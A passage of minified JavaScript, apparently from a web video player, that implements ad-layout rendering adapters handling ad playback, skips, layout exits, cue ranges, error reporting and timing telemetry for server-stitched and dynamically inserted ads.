g.q.W9=function(x){this.eY.W9(x,!this.Z)};
g.q.T3=function(){var x=uS(this.slot.clientMetadata,"metadata_type_eligible_for_ssap");return x===void 0?(E3("Expected SSAP eligibility for PlayerBytes sub layout",this.slot,this.layout),!1):this.Lf.get().T3(x)};g.P(kl,lZ);g.q=kl.prototype;g.q.GZ=function(){};
g.q.ww=function(){var x=this.RU.get();x.AN===this&&(x.AN=null);this.iI.stop()};
g.q.aY=function(){this.iI.stop();lZ.prototype.KL.call(this)};
g.q.KA=function(){hH(this);lZ.prototype.d3.call(this)};
g.q.RI=function(){return uS(this.wy().clientMetadata,"METADATA_TYPE_MEDIA_BREAK_LAYOUT_DURATION_MILLISECONDS")};
g.q.zy=function(x,T){var t=this;this.Uz(x,function(){t.EF!=="rendering_stop_requested"&&(t.EF="rendering_stop_requested",t.layoutExitReason=T,RG(t,T),t.iI.stop())})};
g.q.Bk=function(){var x=Date.now(),T=x-this.q3;this.q3=x;this.Uk+=T;this.Uk>=this.RI()?this.EE():(this.uH(this.Uk/1E3),F2(this,this.Uk))};
g.q.jP=function(){};
g.q.Gc=function(){};
g.P(v0,kl);g.q=v0.prototype;g.q.Vl=function(x){if(this.EF!=="not_rendering"){x=P0(this,x);var T=this.IU.get().getPresentingPlayerType()===2;this.EF==="rendering_start_requested"?T&&jf(x)&&this.Oc():T?g.j1(x,2)?E3("Receive player ended event during MediaBreak",this.e8(),this.wy()):Se(this,x):this.NB()}};
g.q.ZF=function(){V1m(this);db3(this.IU.get());this.RU.get().AN=this;WM("pbp")||WM("pbs")||yK("pbp");WM("pbp","watch")||WM("pbs","watch")||yK("pbp",void 0,"watch");this.Oc()};
g.q.GB=function(x){this.MU.get();var T=uS(x.clientMetadata,"metadata_type_ad_placement_config").kind,t=this.position===0;x=uS(x.clientMetadata,"metadata_type_linked_in_player_layout_type");x={adBreakType:c0(T),adType:QnD(x)};var u=void 0;t?T!=="AD_PLACEMENT_KIND_START"&&(u="video_to_ad"):u="ad_to_ad";a3("ad_mbs",void 0,u);g.gO(x,u);hH(this)};
g.q.NB=function(){this.mB()};
g.q.EE=function(){ayX(this);this.mB()};
g.P(VR,kl);g.q=VR.prototype;g.q.Vl=function(x){this.EF!=="not_rendering"&&(x=P0(this,x),Se(this,x))};
g.q.ZF=function(){E3("Not used in SSAP")};
g.q.GB=function(){hH(this)};
g.q.NB=function(){E3("Not used in SSAP")};
g.q.EE=function(){ayX(this);this.cB.Qd(this.e8(),this.wy(),"normal")};
g.P(Gj,VR);Gj.prototype.zy=function(x,T){var t=this;this.Uz(x,function(){Mu(t.j,T)&&(t.EF="rendering_stop_requested",t.layoutExitReason=T,RG(t,T),t.iI.stop())})};
Gj.prototype.startRendering=function(x){cU(m8(this));dc(this,x)&&(MW(this),this.RU.get().AN=this)};g.P(aG,lZ);g.q=aG.prototype;g.q.NB=function(){this.mB()};
g.q.Vl=function(x){if(this.EF!=="not_rendering"){x=P0(this,x);var T=this.IU.get().getPresentingPlayerType()===2;this.EF==="rendering_start_requested"?T&&jf(x)&&this.Oc():!T||g.j1(x,2)?this.mB():Se(this,x)}};
g.q.GZ=function(){uS(this.wy().clientMetadata,"metadata_type_player_bytes_callback_ref").current=this;this.shrunkenPlayerBytesConfig=uS(this.wy().clientMetadata,"metadata_type_shrunken_player_bytes_config")};
g.q.ww=function(){uS(this.wy().clientMetadata,"metadata_type_player_bytes_callback_ref").current=null;if(this.kZ){var x=this.context.kz,T=this.kZ,t=this.wy().layoutId;if(YX(x.Lf.get(),!0)){var u={};x.Kz("mccru",(u.cid=T,u.p_ac=t,u))}this.Gs.get().removeCueRange(this.kZ)}this.kZ=void 0;var H;(H=this.yq)==null||H.dispose();this.sB&&this.sB.dispose()};
g.q.ZF=function(x){var T=Li(this.Lf.get()),t=ni(this.Lf.get());if(T&&t&&!this.T3()){t=uS(x.clientMetadata,"metadata_type_preload_player_vars");var u=g.Z9(this.Lf.get().U.Y().experiments,"html5_preload_wait_time_secs");t&&this.sB&&this.sB.start(u*1E3)}W64(this,x);V1m(this);T?(t=this.EY.get(),x=uS(x.clientMetadata,"metadata_type_player_vars"),t.U.loadVideoByPlayerVars(x,!1,2)):bJJ(this.EY.get(),uS(x.clientMetadata,"metadata_type_player_vars"));var H;(H=this.yq)==null||H.start();T||this.EY.get().U.playVideo(2)};
g.q.GB=function(){var x;(x=this.yq)==null||x.stop();this.kZ="adcompletioncuerange:"+this.wy().layoutId;this.Gs.get().addCueRange(this.kZ,0x7ffffffffffff,0x8000000000000,!1,this,2,2);x=this.context.kz;var T=this.kZ,t=this.wy().layoutId;if(YX(x.Lf.get(),!0)){var u={};x.Kz("mccr",(u.cid=T,u.p_ac=t,u))}(this.adCpn=vr3(this))||E3("Media layout confirmed started, but ad CPN not set.");this.au.get().vZ("onAdStart",this.adCpn);this.pp=Date.now()};
g.q.RI=function(){var x;return(x=AH(this.Bv.get(),2))==null?void 0:x.z4};
g.q.Sr=function(){this.eY.bf("clickthrough")};
g.q.zy=function(x,T){var t=this;this.Uz(x,function(){if(t.EF!=="rendering_stop_requested"){t.EF="rendering_stop_requested";t.layoutExitReason=T;RG(t,T);var u;(u=t.yq)==null||u.stop();t.sB&&t.sB.stop();Da5(t)}})};
g.q.onCueRangeEnter=function(x){if(x!==this.kZ)E3("Received CueRangeEnter signal for unknown layout.",this.e8(),this.wy(),{cueRangeId:x});else{var T=this.context.kz,t=this.wy().layoutId;if(YX(T.Lf.get(),!0)){var u={};T.Kz("mccre",(u.cid=x,u.p_ac=t,u))}this.Gs.get().removeCueRange(this.kZ);this.kZ=void 0;pG(this.context.Lf.get(),"html5_ssap_flush_at_stop_rendering")&&this.T3()||(x=uS(this.wy().clientMetadata,"metadata_type_video_length_seconds"),this.uH(x,!0),this.W9("complete"))}};
g.q.jP=function(x){x!=="abandoned"&&this.au.get().vZ("onAdComplete");this.au.get().vZ("onAdEnd",this.adCpn)};
g.q.onCueRangeExit=function(){};
g.q.Gc=function(x){this.EF==="rendering"&&(this.shrunkenPlayerBytesConfig&&this.shrunkenPlayerBytesConfig.shouldRequestShrunkenPlayerBytes&&x>=(this.shrunkenPlayerBytesConfig.playerProgressOffsetSeconds||0)&&this.IU.get().Qp(!0),this.uH(x))};
g.q.uH=function(x,T){lZ.prototype.uH.call(this,x,T===void 0?!1:T);T=Date.now()-this.pp;var t=x*1E3,u={contentCpn:this.fB(),adCpn:vr3(this)};if(x>=5&&!this.Hs){var H=T<1E3?0:1;Hu(H,"i.k_",{metadata:u,tv:T,mV:Math.floor(t/1E3)});Q0("IKDSTAT",H);H===0&&y94(this)&&this.au.get().vZ("onAbnormalityDetected");this.Hs=!0}x-this.Kg>=5&&(H=T<t*.4?0:1,Hu(H,"n.k_",{metadata:u,tv:T,mV:Math.floor(t/1E3)}),Q0("NKDSTAT",H),H===0&&y94(this)&&this.au.get().vZ("onAbnormalityDetected"),this.Kg=x)};g.P(gc,aG);gc.prototype.Vl=function(x){this.EF!=="not_rendering"&&(x=P0(this,x),Se(this,x))};
gc.prototype.ZF=function(){E3("Not used in SSAP")};
g.P(B0,gc);B0.prototype.zy=function(x,T){var t=this;this.Uz(x,function(){if(Mu(t.j,T)){t.EF="rendering_stop_requested";t.layoutExitReason=T;RG(t,T);if(pG(t.context.Lf.get(),"html5_ssap_flush_at_stop_rendering")&&T==="normal"){var u=uS(t.wy().clientMetadata,"metadata_type_video_length_seconds");t.uH(u,!0)}Da5(t)}})};
B0.prototype.startRendering=function(x){cU(m8(this));dc(this,x)&&(MW(this),W64(this,x))};g.P(Dz,g.W);g.q=Dz.prototype;g.q.init=function(){var x=uS(this.layout.clientMetadata,"metadata_type_player_bytes_layout_controls_callback_ref");x&&(x.current=this);this.Bv.get().addListener(this);this.Sg.init();Kom([this.layout],this.Bv.get());this.OT()};
g.q.OT=function(){var x=uS(this.Sg.wy().clientMetadata,"metadata_type_player_vars");x?this.EY.get().addPlayerResponseForAssociation({playerVars:x}):(x=puJ(this.Sg.wy()),this.EY.get().addPlayerResponseForAssociation({DD:x}))};
g.q.o0=function(){};
g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.aY=function(){this.Sg.aY()};
g.q.KA=function(){this.Sg.KA()};
g.q.yb=function(){E3("Unexpected onSkipRequested from PlayerBytesSsapSingleLayoutRenderingAdapter.  Skip should be handled by Triggers")};
g.q.bN=function(x,T){this.Sg.bN(x,T)};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.Gc=function(x){this.Sg.Gc(x)};
g.q.onFullscreenToggled=function(x){this.Sg.onFullscreenToggled(x)};
g.q.M0=function(x){this.Sg.M0(x)};
g.q.zC=function(x){this.Sg.zC(x)};
g.q.onVolumeChange=function(){this.Sg.onVolumeChange()};
g.q.AI=function(){};
g.q.JI=function(){};
g.q.VY=function(){};
g.q.VR=function(){return this.IU.get().getPresentingPlayerType()===2};
g.q.dW=function(x){t1m({cpn:x,LC:this.Bv.get(),M_:!0});this.layout.layoutId===x&&(Wbv(this.Ao,this.slot.slotId),this.Ic.bN(this.slot,this.layout))};
g.q.startRendering=function(x){if(x.layoutId!==this.layout.layoutId)return void E3("wrong layout");this.IU.get().addListener(this);lS(this.jg(),this);this.Sg.startRendering(this.layout)};
g.q.Vl=function(x){this.Sg.Vl(x)};
g.q.Ts=function(x,T,t){this.Sg.Ts(x,T,t)};
g.q.release=function(){this.Bv.get().removeListener(this);this.Sg.release();Xa3();mA(this.jg(),this)};
g.q.xO=function(){return pG(this.params.context.Lf.get(),"html5_ssap_exit_without_waiting_for_transition")};
g.q.zy=function(x,T){x.layoutId!==this.layout.layoutId?E3("wrong layout"):this.xO()&&this.Sg.Xs().currentState>=2||(this.Sg.zy(this.layout,T),x=pG(this.params.context.Lf.get(),"html5_ssap_pass_transition_reason")&&T==="abandoned",this.VR()&&!x&&(pG(this.params.context.Lf.get(),"html5_ssap_pass_transition_reason")&&(["normal","skipped","muted","user_input_submitted"].includes(T)||E3("Single stopRendering: unexpected exit reason",this.slot,this.layout,{exitReason:T})),this.Iu.get().finishSegmentByCpn(this.layout.layoutId,
AH(this.Bv.get(),1).clientPlaybackNonce,bZ(T,this.params.context.Lf))),this.IU.get().removeListener(this),this.xO()&&AE(this.Sg.Xs())&&this.Ic.Ts(this.slot,this.layout,this.Sg.Xs().C))};
g.q.o2=function(x,T,t){snV({cpn:x,LC:this.Bv.get(),M_:!0});this.wy().layoutId!==x||pG(this.params.context.Lf.get(),"html5_ssap_pass_transition_reason")&&t===5||(this.Sg.Xs().currentState<2&&(x=rc(t,this.params.context.Lf),x==="error"?this.Ic.dn(this.slot,this.layout,new th("Player transition with error during SSAP single layout.",{playerErrorCode:"non_video_expired",transitionReason:t},"ADS_CLIENT_ERROR_MESSAGE_PLAYER_TRANSITION_WITH_ERROR"),"ADS_CLIENT_ERROR_TYPE_ERROR_DURING_RENDERING"):pi(this.Dx,
this.layout,x)),pG(this.params.context.Lf.get(),"html5_ssap_exit_without_waiting_for_transition")||this.Ic.Ts(this.slot,this.layout,this.Sg.Xs().C))};g.P(yR,g.W);g.q=yR.prototype;g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.o0=function(){};
g.q.X3=function(){return this.Sw[this.RA]};
g.q.RJ=function(){return this.RA};
g.q.aY=function(x,T){var t=this.X3();T.layoutId!==JH(t,x,T)?E3("pauseLayout for a PlayerBytes layout that is not currently active",x,T):t.aY()};
g.q.KA=function(x,T){var t=this.X3();T.layoutId!==JH(t,x,T)?E3("resumeLayout for a PlayerBytes layout that is not currently active",x,T):t.KA()};
g.q.yb=function(x,T){var t=this.X3();K6D(this,x,T);XuJ(t,x,T)&&this.JV(t.e8(),t.wy(),"skipped")};
g.q.Qy=function(x,T){var t=this.X3();xk4(this);TOH(t,x,T)&&(x=oKf(this,t,x,T),x!==void 0&&(this.T3()?E3("Should not happen. Should delete"):s34(this,t.e8(),t.wy(),x)))};
g.q.Vg=function(x,T){var t=Object.assign({},NW(this),{layoutId:T.layoutId}),u=t.layoutId,H=t.M_;if(t.dR){var I={};Sf(t.LC,"wrse",(I.ec=u,I.is=H,I.ctp=PU(u),I))}ri(this.nt,x,T)};
g.q.bN=function(x,T){var t;(t=this.X3())==null||t.bN(x,T)};
g.q.Ts=function(x,T,t){T.layoutId===this.wy().layoutId&&(this.yu=!1,mA(this.jg(),this));var u;(u=this.X3())==null||u.Ts(x,T,t)};
g.q.Gc=function(x){var T;(T=this.X3())==null||T.Gc(x)};
g.q.hO=function(x,T,t){this.RJ()===-1&&(this.callback.bN(this.slot,this.layout),this.RA++);var u=this.X3();u?(u.Yr(x,T,t),this.T3()&&this.callback.dn(this.slot,this.layout,T,t)):E3("No active adapter found onLayoutError in PlayerBytesVodCompositeLayoutRenderingAdapter",void 0,void 0,{activeSubLayoutIndex:String(this.RJ()),layoutId:this.wy().layoutId})};
g.q.onFullscreenToggled=function(x){var T;(T=this.X3())==null||T.onFullscreenToggled(x)};
g.q.M0=function(x){var T;(T=this.X3())==null||T.M0(x)};
g.q.zC=function(x){var T;(T=this.X3())==null||T.zC(x)};
g.q.onVolumeChange=function(){var x;(x=this.X3())==null||x.onVolumeChange()};
g.q.vT=function(x,T,t){zZ(this.nt,x,T,t)};
g.q.m2=function(x){x.startRendering(x.wy())};
g.q.init=function(){var x=uS(this.wy().clientMetadata,"metadata_type_player_bytes_layout_controls_callback_ref");x&&(x.current=this);if(this.Sw.length<1)throw new w("Invalid sub layout rendering adapter length when scheduling composite layout.",{length:String(this.Sw.length)});if(x=uS(this.wy().clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref"))x.current=this;x=g.S(this.Sw);for(var T=x.next();!T.done;T=x.next())T=T.value,T.init(),bP3(this.nt,this.slot,T.wy()),rPD(this.nt,this.slot,T.wy());
if(this.T3())for(this.Bv.get().addListener(this),Kom(wu3(this),this.Bv.get()),x=wu3(this),x=g.S(x),T=x.next();!T.done;T=x.next())this.OT(T.value)};
g.q.OT=function(x){var T=uS(x.clientMetadata,"metadata_type_player_vars");T?(x.layoutType!=="LAYOUT_TYPE_MEDIA"&&E3("Non-video ad contains playerVars",this.slot,x),this.EY.get().addPlayerResponseForAssociation({playerVars:T})):(x=puJ(x),this.EY.get().addPlayerResponseForAssociation({DD:x}))};
g.q.release=function(){var x=uS(this.wy().clientMetadata,"metadata_type_player_bytes_layout_controls_callback_ref");x&&(x.current=null);if(x=uS(this.wy().clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref"))x.current=null;x=g.S(this.Sw);for(var T=x.next();!T.done;T=x.next())T=T.value,z2v(this.nt,this.slot,T.wy()),T.release();this.T3()&&(this.Bv.get().removeListener(this),Xa3())};
g.q.Uz=function(x){return x.layoutId!==this.wy().layoutId?(this.callback.dn(this.e8(),x,new th("Tried to start rendering an unknown layout, this adapter requires LayoutId: "+this.wy().layoutId+("and LayoutType: "+this.wy().layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED"),!1):!0};
g.q.tB=function(){this.IU.get().addListener(this);lS(this.jg(),this)};
g.q.Vl=function(x){if(x.state.isError()){var T,t;this.hO((T=x.state.Eo)==null?void 0:T.errorCode,new th("There was a player error during this media layout.",{playerErrorCode:(t=x.state.Eo)==null?void 0:t.errorCode},"ADS_CLIENT_ERROR_MESSAGE_PLAYER_ERROR"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED")}else(T=this.X3())&&T.Vl(x)};
g.q.T3=function(){var x=uS(this.e8().clientMetadata,"metadata_type_eligible_for_ssap");return x===void 0?(E3("Expected SSAP eligibility in PlayerBytes slots",this.e8(),this.wy()),!1):this.Lf.get().T3(x)};
g.q.VY=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.AI=function(){};
g.q.JI=function(){};
g.P(O1,yR);g.q=O1.prototype;g.q.JW=function(x,T,t){this.JV(x,T,t)};
g.q.Yw=function(x,T){this.JV(x,T,"error")};
g.q.JV=function(x,T,t){var u=this;tKv(this,x,T,t,function(){Ci(u,u.RJ()+1)})};
g.q.startRendering=function(x){this.Uz(x)&&(this.tB(),vED(this.MU.get()),anf(this.Lf.get())||db3(this.IU.get()),this.RJ()===-1&&Ci(this,this.RJ()+1))};
g.q.zy=function(x,T){var t=this;this.yu=!0;this.RJ()===this.Sw.length?this.callback.Ts(this.slot,this.layout,T):(x=this.X3(),x.zy(x.wy(),T),this.Bs=function(){t.callback.Ts(t.slot,t.layout,T)});
this.IU.get().U.sR();bJJ(this.EY.get(),{});x=TB(this.IU.get(),1);x.isPaused()&&!g.p(x,2)&&this.IU.get().playVideo();this.IU.get().removeListener(this);this.yu&&uR5(this)};
g.q.o2=function(){};
g.q.dW=function(){};
g.q.Qd=function(){};
g.P(fi,yR);g.q=fi.prototype;g.q.JW=function(x,T,t){x=Object.assign({},NW(this),{layoutId:T.layoutId,layoutExitReason:t});T=x.layoutId;t=x.layoutExitReason;var u={};Sf(x.LC,"prse",(u.xc=T,u.ler=t,u.ctp=PU(T),u))};
g.q.Yw=function(){E3("onSubLayoutError in SSAP")};
g.q.JV=function(){E3("exitSubLayoutAndPlayNext in SSAP")};
g.q.X3=function(){return this.rN};
g.q.RJ=function(){var x=this;return this.Sw.findIndex(function(T){var t;return T.wy().layoutId===((t=x.rN)==null?void 0:t.wy().layoutId)})};
g.q.m2=function(x){In(this.rN===void 0,"replacing another adapter");this.rN=x;x.startRendering(x.wy())};
g.q.vT=function(x,T,t){zZ(this.nt,x,T,t);var u;In(T.layoutId===((u=this.rN)==null?void 0:u.wy().layoutId),"currentAdapter does not match exiting layout",{slot:x?"slot:  "+x.slotType:"",subLayout:iJ(T)})&&(this.rN=void 0)};
g.q.release=function(){yR.prototype.release.call(this);In(this.rN===void 0,"currentAdapter is still active during release");this.rN=void 0};
g.q.VR=function(){return this.IU.get().getPresentingPlayerType()===2};
g.q.zy=function(x,T){function t(){wc(this)&&(["normal","error","skipped","muted","user_input_submitted"].includes(T)||E3("Composite stopRendering: Unexpected layout exit reason",this.slot,x,{layoutExitReason:T}))}
function u(){this.rN&&Ki(this,this.rN,T);if(this.VR()&&(!wc(this)||T!=="abandoned")){t.call(this);var I;var E=((I=this.Bv.get().U.getVideoData())==null?void 0:I.clientPlaybackNonce)||"";I=AH(this.Bv.get(),1).clientPlaybackNonce;this.Iu.get().finishSegmentByCpn(E,I,bZ(T,this.Lf))}$ki(this,T)}
function H(){if(this.rN){var I=this.rN;I.Xs().currentState<2&&I.zy(I.wy(),T);I=wc(this)&&T==="abandoned";this.VR()&&!I&&(t.call(this),this.Iu.get().finishSegmentByCpn(this.rN.wy().layoutId,AH(this.Bv.get(),1).clientPlaybackNonce,bZ(T,this.Lf)))}}
In(x.layoutId===this.wy().layoutId,"StopRendering for wrong layout")&&Mu(this.t6.Z,T)&&(this.xO()?u.call(this):H.call(this))};
g.q.Ts=function(x,T,t){yR.prototype.Ts.call(this,x,T,t);T.layoutId===this.wy().layoutId&&this.IU.get().removeListener(this)};
g.q.fB=function(){return AH(this.Bv.get(),1).clientPlaybackNonce};
g.q.o2=function(x,T,t){snV(Object.assign({},NW(this),{cpn:x}));if(!wc(this)||t!==5)if(this.xO()){if(this.rN&&this.rN.wy().layoutId!==T){var u=this.rN.wy().layoutId;u!==x&&E3("onClipExited: mismatched exiting cpn",this.slot,void 0,{layoutId:u,exitingCpn:x,enteringCpn:T});x=rc(t,this.Lf);Ki(this,this.rN,x)}else this.rN&&E3("onClipExited: active layout is entering again");T===this.fB()&&ilf(this,t)}else{if(this.rN&&this.rN.wy().layoutId===x)HlV(this,this.rN,t);else{var H;E3("Exiting cpn does not match active cpn",
this.slot,(u=this.rN)==null?void 0:u.wy(),{exitingCpn:x,transitionReason:t,activeCpn:(H=this.rN)==null?void 0:H.wy().layoutId})}T===this.fB()&&(this.rN!==void 0&&(E3("active adapter is not properly exited",this.slot,this.layout,{activeLayout:iJ(this.rN.wy())}),HlV(this,this.rN,t)),ilf(this,t),$ki(this,this.t6.Z.C))}};
g.q.xO=function(){return pG(this.Lf.get(),"html5_ssap_exit_without_waiting_for_transition")};
g.q.startRendering=function(x){this.Uz(x)&&(x=this.t6,In(x.C===1,"tickStartRendering: state is not initial"),x.C=2,this.tB())};
g.q.dW=function(x){t1m(Object.assign({},NW(this),{cpn:x}));var T=this.Sw.find(function(t){return t.wy().layoutId===x});
T?(this.t6.C!==2&&(Wbv(this.Ao,this.slot.slotId),In(this.t6.C===2,"Expect started"),this.callback.bN(this.slot,this.layout)),this.m2(T),ri(this.nt,this.slot,T.wy())):I1f(this,x)};
g.q.yb=function(x,T){K6D(this,x,T);var t=this.X3();t?XuJ(t,x,T)&&EKV(this,"skipped"):qMv(this,"onSkipRequested")};
g.q.Qy=function(x,T){var t;a:{if(t=this.X3()){if(xk4(this),TOH(t,x,T)&&(x=oKf(this,t,x,T),x!==void 0)){t={oR:t,TdU:this.Sw[x]};break a}}else qMv(this,"SkipWithAdPodSkip");t=void 0}if(x=t)t=x.oR,T=x.TdU,x=t.wy().layoutId,this.xO()?Ki(this,t,"skipped"):t.zy(t.wy(),"skipped"),t=T.wy().layoutId,this.Iu.get().finishSegmentByCpn(x,t,bZ("skipped",this.Lf))};
g.q.Vg=function(){E3("Not used in html5_ssap_fix_layout_exit")};
g.q.Vl=function(x){var T;(T=this.X3())==null||T.Vl(x)};
g.q.hO=function(){E3("Not used in html5_ssap_fix_layout_exit")};
g.q.Qd=function(x,T,t){var u;if(((u=this.X3())==null?void 0:u.wy().layoutId)!==T.layoutId)return void E3("requestToExitSubLayout: wrong layout");EKV(this,t)};g.P(X2,g.W);g.q=X2.prototype;g.q.e8=function(){return this.Sg.e8()};
g.q.wy=function(){return this.Sg.wy()};
g.q.init=function(){var x=uS(this.wy().clientMetadata,"metadata_type_player_bytes_layout_controls_callback_ref");x&&(x.current=this);this.GZ()};
g.q.GZ=function(){this.Sg.init()};
g.q.release=function(){var x=uS(this.wy().clientMetadata,"metadata_type_player_bytes_layout_controls_callback_ref");x&&(x.current=null);this.ww()};
g.q.ww=function(){this.Sg.release()};
g.q.aY=function(){this.Sg.aY()};
g.q.KA=function(){this.Sg.KA()};
g.q.yb=function(x,T){E3("Unexpected onSkipRequested from PlayerBytesVodSingleLayoutRenderingAdapter.  Skip should be handled by Triggers",this.e8(),this.wy(),{requestingSlot:x,requestingLayout:T})};
g.q.startRendering=function(x){x.layoutId!==this.wy().layoutId?this.callback.dn(this.e8(),x,new th("Tried to start rendering an unknown layout, this adapter requires LayoutId: "+this.wy().layoutId+("and LayoutType: "+this.wy().layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED"):(this.IU.get().addListener(this),lS(this.jg(),this),vED(this.MU.get()),anf(this.Lf.get())||db3(this.IU.get()),this.Sg.startRendering(x))};
g.q.zy=function(x,T){this.yu=!0;this.Sg.zy(x,T);this.IU.get().U.sR();bJJ(this.EY.get(),{});x=TB(this.IU.get(),1);x.isPaused()&&!g.p(x,2)&&this.IU.get().playVideo();this.IU.get().removeListener(this);this.yu&&this.Sg.NB()};
g.q.bN=function(x,T){this.Sg.bN(x,T)};
g.q.Ts=function(x,T,t){T.layoutId===this.wy().layoutId&&(this.yu=!1,mA(this.jg(),this));this.Sg.Ts(x,T,t);T.layoutId===this.wy().layoutId&&QR(this.MU.get())};
g.q.Gc=function(x){this.Sg.Gc(x)};
g.q.Vl=function(x){if(x.state.isError()){var T,t;this.hO((T=x.state.Eo)==null?void 0:T.errorCode,new th("There was a player error during this media layout.",{playerErrorCode:(t=x.state.Eo)==null?void 0:t.errorCode},"ADS_CLIENT_ERROR_MESSAGE_PLAYER_ERROR"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED")}else this.Sg.Vl(x)};
g.q.hO=function(x,T,t){this.Sg.Yr(x,T,t)};
g.q.onFullscreenToggled=function(x){this.Sg.onFullscreenToggled(x)};
g.q.M0=function(x){this.Sg.M0(x)};
g.q.zC=function(x){this.Sg.zC(x)};
g.q.onVolumeChange=function(){this.Sg.onVolumeChange()};
g.q.VY=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.AI=function(){};
g.q.JI=function(){};g.q=x_.prototype;g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.init=function(){this.CF.get().addListener(this);this.IU.get().addListener(this);var x=uS(this.layout.clientMetadata,"metadata_type_layout_enter_ms");var T=uS(this.layout.clientMetadata,"metadata_type_layout_exit_ms");if(this.K){var t=this.CF.get().SB.slice(-1)[0];t!==void 0&&(x=t.startSecs*1E3,T=(t.startSecs+t.U0)*1E3)}this.Cc(x,T);var u;t=(u=this.Bv.get().YQ)==null?void 0:u.clientPlaybackNonce;u=this.layout.FV.adClientDataEntry;Tf(this.RU.get(),{daiStateTrigger:{filledAdsDurationMs:T-x,contentCpn:t,
adClientData:u}});var H=this.CF.get();H=ed3(H.j,x,T);H!==null&&(Tf(this.RU.get(),{daiStateTrigger:{filledAdsDurationMs:H-x,contentCpn:t,cueDurationChange:"DAI_CUE_DURATION_CHANGE_SHORTER",adClientData:u}}),this.Iu.get().iH(H,T))};
g.q.release=function(){this.ww();this.CF.get().removeListener(this);this.IU.get().removeListener(this)};
g.q.startRendering=function(){this.ZF();this.callback.bN(this.slot,this.layout)};
g.q.zy=function(x,T){this.cQ(T);this.driftRecoveryMs!==null&&(oM(this,{driftRecoveryMs:this.driftRecoveryMs.toString(),breakDurationMs:Math.round(l1q(this)-uS(this.layout.clientMetadata,"metadata_type_layout_enter_ms")).toString(),driftFromHeadMs:Math.round(this.IU.get().U.Bm()*1E3).toString()}),this.driftRecoveryMs=null);this.callback.Ts(this.slot,this.layout,T)};
g.q.mW=function(){return!1};
g.q.It=function(x){var T=uS(this.layout.clientMetadata,"metadata_type_layout_enter_ms"),t=uS(this.layout.clientMetadata,"metadata_type_layout_exit_ms");x*=1E3;if(T<=x&&x<t){var u;Tf(this.RU.get(),{daiStateTrigger:{filledAdsDurationMs:x-T,contentCpn:(u=this.Bv.get().YQ)==null?void 0:u.clientPlaybackNonce,cueDurationChange:"DAI_CUE_DURATION_CHANGE_SHORTER",adClientData:this.layout.FV.adClientDataEntry}});this.Iu.get().iH(x,t)}};
g.q.Gc=function(x){this.Cb(x);x=I5(this.IU.get(),2,!0);if(ks(this.T.get(),this.layout.layoutId)){var T=uS(this.layout.clientMetadata,"metadata_type_layout_enter_ms"),t=this.driftRecoveryMs;if(!(t===null||x*1E3<T+t)){this.driftRecoveryMs=null;var u=l1q(this),H=this.IU.get().U.Bm(),I=Math.min(x+H,u/1E3);I<=x?oM(this,{driftRecoveryMs:t.toString(),breakDurationMs:Math.round(u-T).toString(),driftFromHeadMs:Math.round(H*1E3).toString()}):(oM(this,{driftRecoveryMs:t.toString(),breakDurationMs:Math.round(u-
T).toString(),driftFromHeadMs:Math.round(H*1E3).toString(),appliedDriftRecoveryMs:Math.round(x*1E3-T).toString(),destinationMs:Math.round(I*1E3-T).toString()}),this.IU.get().U.seekTo(I,void 0,void 0,1))}}};
g.q.M0=function(){};
g.q.VY=function(){};
g.q.zC=function(){};
g.q.onVolumeChange=function(){};
g.q.AI=function(){};
g.q.JI=function(){};g.P(tO,x_);g.q=tO.prototype;g.q.Cc=function(x,T){this.Bv.get().addListener(this);if(this.K){var t=x,u=0,H=[];x=this.j.slice();x.sort(function(I,E){return uS(I.wy().clientMetadata,"metadata_type_media_sub_layout_index")-uS(E.wy().clientMetadata,"metadata_type_media_sub_layout_index")});
x.forEach(function(I){var E=t,Z=uS(I.wy().clientMetadata,"metadata_type_video_length_seconds"),e=Math.min(E+Z*1E3,T);t=e;u++;H.push(Z);I.Cc(E,e)})}else this.j.forEach(function(I){I.init()});
this.Z!=null&&sO(this.RU.get(),"ads_ssmplra_init","lid."+this.layout.layoutId+";smlid."+this.Z)};
g.q.ww=function(){this.Bv.get().removeListener(this);this.C=null;this.j.forEach(function(x){x.release()})};
g.q.ZF=function(){if(this.C)E3("Failed to restart rendering",this.slot,this.layout,{hasSurveyMediaSubLayout:String(!!this.Z)});else{var x,T=(x=this.Bv.get().YQ)==null?void 0:x.layoutId;dk4(this,T)}};
g.q.cQ=function(x){var T,t,u,H;(u=this.C)==null||(H=u.Un)==null||H.zy((T=this.C)==null?void 0:(t=T.Un)==null?void 0:t.wy(),x);this.C=null};
g.q.o0=function(x){var T=x.videoId;x=x.layoutId;if(T==="nPpU29QrbiU"){var t,u;sO(this.RU.get(),"ads_ssmplra_opdcs","vid."+T+";lid."+this.layout.layoutId+";smlid."+this.Z+";slrs."+!!this.C+";slrslid."+((t=this.C)==null?void 0:(u=t.Un)==null?void 0:u.wy().layoutId))}if(this.C){var H;if(((H=this.C.Un)==null?void 0:H.wy().layoutId)===x)E3("Unexpected transition into the same layout ID",this.slot,this.layout,{layoutId:x});else{var I,E;(E=this.C.Un)==null||E.zy((I=this.C.Un)==null?void 0:I.wy(),"normal");
dk4(this,x)}}};
